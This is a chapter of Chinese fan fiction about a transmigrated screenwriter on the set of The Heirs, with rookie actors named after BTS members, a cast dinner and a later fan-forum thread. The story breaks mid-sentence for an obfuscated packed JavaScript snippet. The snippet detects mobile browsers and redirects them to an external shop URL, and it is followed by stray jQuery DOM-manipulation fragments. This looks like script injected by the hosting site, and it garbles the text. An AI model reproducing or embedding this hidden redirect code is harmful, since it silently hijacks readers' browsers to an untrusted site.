轮到郑皓锡的时候，他已经在走廊拐角来回踱了好几圈了。
他的戏份不难：赵明秀在走廊撞见李宝娜，咋咋呼呼跑去报信 “金叹回学校了”。
姜导特意把他排到下午，想着戏份轻压力小，给新人练手正合适。
结果郑皓锡用实际行动证明：压力小不代表NG少，刻进 DNA 的舞台肌肉记忆，绝不会因为戏份短就放假。
"Action！"
郑皓锡深吸一口气，从走廊拐角冲出来，对着空气激情播报："呀！李宝娜！"，但走位太猛，差点撞到摄影轨道。摄影师一个急退，机器晃出残影。
"cut！郑皓锡xi，走廊很宽，你不用跟轨道抢道。"
第2条，他记住了走位，速度也控制了——但说到“金叹回来了”的时候，他下意识对着摄像机wink了一下。
片场安静了一瞬。接着憋笑的声音此起彼伏。
姜导从监视器后面探出头，表情复杂：“皓锡 xi…… 赵明秀是高中生，不是爱豆。你不用给镜头送粉丝福利。观众看剧不用收 wink 大礼包。”
“对、对不起！” 郑皓锡站在原地九十度鞠躬道歉，耳朵红得能滴血，恨不得找个地缝钻进去，“肌肉记忆…… 它自己动的……”
说着还偷偷往金幼真的方向瞟了一眼，活像个闯祸的小狗狗。
金幼真低头死死盯着剧本，肩膀微微发抖，拼命维持着清冷编剧的人设 —— 救命，笑不活了。这孩子以后不会每场戏结束都自动摆ending pose吧？
事实证明，flag 不能立太早。
第3条，走位对了，wink 憋住了，台词也一字不差。
只见他冲到 “李宝娜” 面前，激动地喊完 “金叹回来了！”，话音落下的瞬间，右手下意识抬起来，比了个标准的舞台结束手势，腰还微微欠了一下 —— 标准到能直接上打歌舞台拿一位的 ending pose。
全场安静了整整五秒。
然后爆发出惊天动地的笑声，连路过的朴信慧都笑得直捂肚子。
姜导沉默了两秒，叹了口气，语气里带着点生无可恋：“…… 这条剪出来当花絮吧，放放送前预热肯定涨收视。再来一条，这次不许摆 pose。”
郑皓锡整个人都蔫了，哭丧着脸看向金幼真，眼神里写满 “救救我”。
金幼真好不容易止住笑，走过去拍了拍他的胳膊，憋着笑支招：“你就当镜头不存在。舞台上你要找镜头抓镜头，拍戏你就当它是个路灯柱子。你跟朋友八卦的时候，会对着路灯柱子 wink 摆 pose 吗？”
郑皓锡眨眨眼，琢磨了两秒，重重点头。
"再来一条，"
这次总算正常了。“卡！过了！”
听见 “过” 字的瞬间，郑皓锡差点原地蹦起来，张开胳膊想拥抱全世界庆祝，刚迈出一步，就被金硕真从后面拎着后领拽了回来 ：“别抱导演。抱导演会被剪花絮。”
郑皓锡瞬间僵住，乖乖收回胳膊，假装什么都没发生。
金幼真站在不远处看着，笑得直不起腰。
得，今天的片场花絮素材，他俩至少承包了一半。
晚上七点整，最后一声 “卡” 落下，片场瞬间从紧绷模式切换成下班狂喜模式。
金幼真揉着发酸的后颈从折叠椅上站起来，内心长长舒了口气：可算收工了。
第一天拍了七场戏，从教室到花园再到走廊，转景补光无缝衔接，韩剧剧组的效率卷得她这个穿越人士都叹为观止 —— 姜信孝基本不喊无效卡，发现问题当场叫停纠正，演员秒调整重拍，连场务搬设备都像开了二倍速，主打一个不浪费一分钟工时。
姜导看着拍摄记录，满意地点头：“今天大家都辛苦了！开机第一天顺顺利利，晚上烤肉店聚餐！”
话音刚落，现场响起一阵压不住的欢呼。
金幼真挑了挑眉，果然，韩国团建永恒主题就是烤肉。甭管是剧组还是公司，一顿烤肉下肚，陌生感减半，堪称职场关系催化剂。本来还想溜回家躺平，算了，看在五花肉的份上，也不是不能接受。
剧组呼啦啦涌向学校附近的一家烤肉店。包间里摆了两长条矮桌，烤盘滋滋预热，生菜、苏子叶、泡菜、腌萝卜摆得满满当当，烧酒、啤酒、葡萄汁堆在角落。
金幼真和姜导坐在中间，正对着朴信慧和李敏浩。
刚坐定，烤盘就端上了五花肉，肥油在高温下滋滋作响，香气直往鼻子里钻。
姜信孝端起烧酒杯子站起来，脸上没了片场的严肃，带着点笑意：“今天开机比预想中顺太多，各位都辛苦了。后面还有小三个月要拍，天热夜戏多，大家互相照应，平平安安拍完，咱们冲下半年收视冠军。我先干为敬！”
一仰头，一杯烧酒见底。
满桌人纷纷举杯起身，双手握杯侧身碰杯，喊着 “拍摄顺利”“收视大发”，气氛一下就热络起来。
金幼真端起葡萄汁跟着举了一下，心里默默给自己点赞：饮料选得好，下班没烦恼。
按韩国餐桌规矩，晚辈负责烤肉、前辈负责吃，是心照不宣的潜规则。金硕真和郑皓锡作为全场资历最浅的新人，一坐下就自动自发地接过了烤肉夹子，分工明确：金硕真负责把控火候，翻肉剪肉；郑皓锡负责给前辈们分肉、换烤盘。
金幼真坐在对面看着，心里偷偷乐。
平时三人凑一块吃烤肉，都是郑皓锡抢着吃，金硕真负责吐槽他吃得多，她负责坐等投喂。这下好了，一到正式场合，俩人秒变懂事忙内，拘谨又乖巧。
郑皓锡一开始真的紧张。前辈说句话他立刻站起来鞠躬，前辈杯子空了他光速倒酒。
酒过三巡，气氛彻底放开了。
几杯烧酒下肚，前辈们的架子全放了下来。李敏浩率先聊起出道初期的糗事，说第一次拍古装戏吊威亚，吓得腿抖还硬撑着说没事；
朴信慧笑着说自己早年拍哭戏哭到缺氧，最后导演喊卡了还停不下来。话题聊着聊着就落到了两个新人身上。
“硕真和皓锡是第一次拍戏吧？” 李敏浩夹了块烤肉，笑着问，“感觉怎么样？”
郑皓锡刚塞进嘴里一口肉，赶紧嚼完咽下去，坐直身子：“内！第一次上正剧片场，特别紧张，今天还 NG 了好几次，给大家添麻烦了！”
“没事，新人都这样。” 姜导摆了摆手，“你那个 wink 和 ending pose，剪花絮放出去，说不定还能涨收视。”
一句话说得全桌哄堂大笑，郑皓锡脸又红了，埋头假装认真烤肉，耳朵尖红得透亮。
笑完他也放开了，开始讲练习生时期的趣事：“有一次半夜偷吃社长给的奖励便当，刚吃一口就被队长抓现行，罚我连续一周打扫练习室，边扫地边看他们吃炸鸡！”
他手舞足蹈讲得生动，一桌子人笑得前仰后合，朴信慧捂着肚子笑到眼泪都出来了。
金幼真撑着下巴听，嘴角就没下来过。
行啊，社交天赋点满了，刚才还紧张得话都不敢说，现在快成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894794|212825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
全场气氛担当了。
聚餐一直持续到晚上九点多才散。
大家互相留了联系方式，约着明天片场见，才三三两两地离开。
金幼真没喝酒，司机接回家。她靠在椅背上，点开《继承者》的Kakao群，大家还在发聚餐的照片，她往上翻了翻，从开机合影，到NG花絮，再到聚餐合照。她一张张存进相册，心里默念：都是好珍贵的记忆啊。
朴信慧发了张抓拍的动图 —— 正是下午郑皓锡 wink 的名场面，配文：「今日笑点库存 + 1，赵明秀选手的 wink 三连」
群里瞬间笑成一片，郑皓锡刷屏式道歉：「肌肉记忆它不听使唤！！我回去就罚自己练十遍台词！！」
金硕真回了个「^^」。
紧接着，郑水晶也跟了个「^^」，李敏浩紧随其后「^^」。
好好的聊天群瞬间变成了「^^」复制粘贴现场。
金幼真看着屏幕，没忍住笑出了声。
她指尖敲了敲屏幕，发了句：「今天大家都辛苦了，明天继续fighting。」
Theqoo 【热帖】李敏浩今天ins发了重返《继承者》拍摄地的照片！8年了！！
楼主：今天刷到李敏浩ins，我直接 DNA 动了！李敏浩去美国加州那个海滩了，就是第一集他玩帆板、跟车恩尚第一次擦肩而过的取景地，连海边喝咖啡的餐厅都去了！8 年了啊……
1L： ！！！8年了啊家人们，我的金叹回来了！！！
2L：海边餐厅那段我刷了不下十遍！他抬眼喝咖啡那一眼，我直接垂直入坑，没想到 8 年后他又走回了故事开始的地方
3L：谁懂啊，男主重回取景地怀念拍戏的日子，而屏幕前的我们已经从学生变成社畜了，时间好残忍又好神奇
4L：等等，既然李敏浩都回去了，那我必须翻出那张开机合影考古一下。[图片：2013年开机合影]
5L：我天，这张合照的含金量谁懂？导演姜信孝、金编剧、李敏浩、朴信慧、金予彬、郑水晶、金智瑗……
6L：导演 nim 站在中间真的向家长（不是）
7L：郑水晶和金智瑗的财阀姐妹花！这部剧选角真的开了挂，一个娇一个冷，现在回头看全是神颜
8L：没人说金编剧吗？站中间完全不逊色啊！这颜值放演员里都能打
9L：快看后排两个穿校服的男生，Jin 和 J-Hope啊！！！
10L：郑皓锡那时候也太青涩了吧，眼睛亮晶晶的，像只还没被社会毒打的修勾，谁能想到他后来是舞台上的蛊王啊
11L：完全新人美时期！哈哈哈
12L：金硕真真的自带暖男滤镜！站那儿乖乖巧巧的，难怪后来是车门男神，这颜值穿校服就是校园男主标配啊
13L：救命，楼上说的 “车门男神” 我居然秒懂，这就是老粉的默契吗 kkkk
14L：李敏浩这条ins的评论区已经被考古党攻陷了。有人问他："还记得当年走廊里wink的那个新人吗？"李敏浩回复：「记得，肌肉记忆很深。」
15L：哈哈哈哈哈哈郑皓锡：哥我谢谢你。
16L：8 年过去，男主重回故事起点的海边怀念青春；当年的两个新人站在了格莱美的舞台上；写剧本的新人成了拿遍奖项的金牌编剧…… 这是什么现实版爽文剧情啊
17L： 2013年的夏天，韩娱圈还没意识到，这张照片里藏了多少个未来。